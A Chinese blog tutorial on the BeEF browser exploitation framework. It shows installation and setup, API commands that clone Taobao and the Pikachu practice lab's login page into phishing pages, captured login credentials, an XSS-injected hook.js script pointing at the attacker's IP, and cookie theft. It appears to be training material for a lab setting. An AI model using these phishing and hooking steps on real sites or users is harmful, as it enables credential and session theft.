BeEF(Browser Exploitation Framework)是一款非常强大的Web框架攻击平台,集成了许多 payload,可以通过XSS漏洞配合JavaScript脚本和Metasploit进行渗透。基于Ruby语言编写,并且支持 图形化界面,操作简单。
![](https://img-blog.csdnimg.cn/img_convert/f6d1908b5ba89e68d3ee865c814846ae.png)
如果你的kali中没有beef的话,执行sudo apt install beef-xss进行安装
找到配置文件/usr/share/beef-xss/config.yaml 修改监听地址为本机IP
![](https://img-blog.csdnimg.cn/img_convert/56e67f992b076133c24d72b609f816b2.png)
修改登录密码
![](https://img-blog.csdnimg.cn/img_convert/de681f8e92aa34463efd7dae4b69f4aa.png)
启动beef
cd /usr/share/beef-xss
./beef
![](https://img-blog.csdnimg.cn/img_convert/e8c8d573ea2abe0fc8b8badf631a505b.png)
如果执行报错的话,可以执行以下命令重新安装ruby和beef-xss
#apt remove ruby
#apt remove beef-xss
#apt-get install ruby
#apt-get install ruby-dev libpcap-dev
#gem install eventmachine
#apt-get install beef-xss
启动后,访问 http://192.168.1.142:3000/ui/panel 页面
![](https://img-blog.csdnimg.cn/img_convert/612c8fac6c6fdb4dd61a9c883d7e2b57.png)
![](https://img-blog.csdnimg.cn/img_convert/aa3f9f5b8912b838f31994fa622cf231.png)
使用beef克隆网站
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<
URL of site to clone >", "mount":"<where to mount>"}' -X POST http://<BeEFURL>/api/seng/clone_page?token=<token>
// <URL of site to clone> 需要克隆的网址
// <where to mount> 克隆的页面在服务器的哪个路径访问
// <token>服务启动时的 beef API key
API key在beef启动处查看
![](https://img-blog.csdnimg.cn/img_convert/48283b4c25357e7dbf0536a7e504f7a8.png)
例如:curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.taobao.com", "mount":"/clone_site_taobao"}' -X POST http://192.168.1.142:3000/api/seng/clone_page?token=0c4b9539e137af63b3e82e4dddc6fe973bc432e8
![](https://img-blog.csdnimg.cn/img_convert/bf831ade940fc87b8a481d4110e7aa95.png)
我们克隆了淘宝的页面,url为http://192.168.1.142:3000/clone_site_taobao
打开页面
![](https://img-blog.csdnimg.cn/img_convert/5ec36942c4c353dc2721c2395050c4b0.png)
浏览器访问beef制作的钓鱼页面后,可以看到有机器上线
![](https://img-blog.csdnimg.cn/img_convert/790e58f2ef9981dd36b0d4339873f0a8.png)
接下来克隆 pikachu 平台的”反射型xss(post)“的登录页面 curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://pikachu_ip/vul/xss/xsspost/post_login.php","mount":"/pikachu_mag edu"}' -X POST http://kali_ip:3000/api/seng/clone_page?token=XXX
![](https://img-blog.csdnimg.cn/img_convert/ec3a6974dd6b9e55d59c1340b317682f.png)
访问 http://kali_ip:3000/clone_pikachu ,可以看到beef中有机器上线,在页面中进行登录
![](https://img-blog.csdnimg.cn/img_convert/10254654327fb51420e3ba661a6f0bc0.png)
根据日志可知,用户名和密码为admin,123456
![](https://img-blog.csdnimg.cn/img_convert/b922b1c6fc01e122139884484416eb7b.png)
在Pikachu中上传hook脚本,让用户触发XSS 插入<script src="" target="_blank">http://192.168.1.142:3000/hook.js"></script>
![](https://img-blog.csdnimg.cn/img_convert/dff8544f26abc9406f65d65abf0be0ca.png)
选择 Current Browser -> Commands -> Get Cookie 并点击 Execute 获取 cookie
![](https://img-blog.csdnimg.cn/img_convert/55c639d96d8cf99176fd9a77563a948f.png)
![](https://img-blog.csdnimg.cn/img_convert/b6ff6f5a07820250606e45b8dc5a0dd4.png)
回到前台查看是否一致
![](https://img-blog.csdnimg.cn/img_convert/c803ab6885dc854da792b760fae81475.png)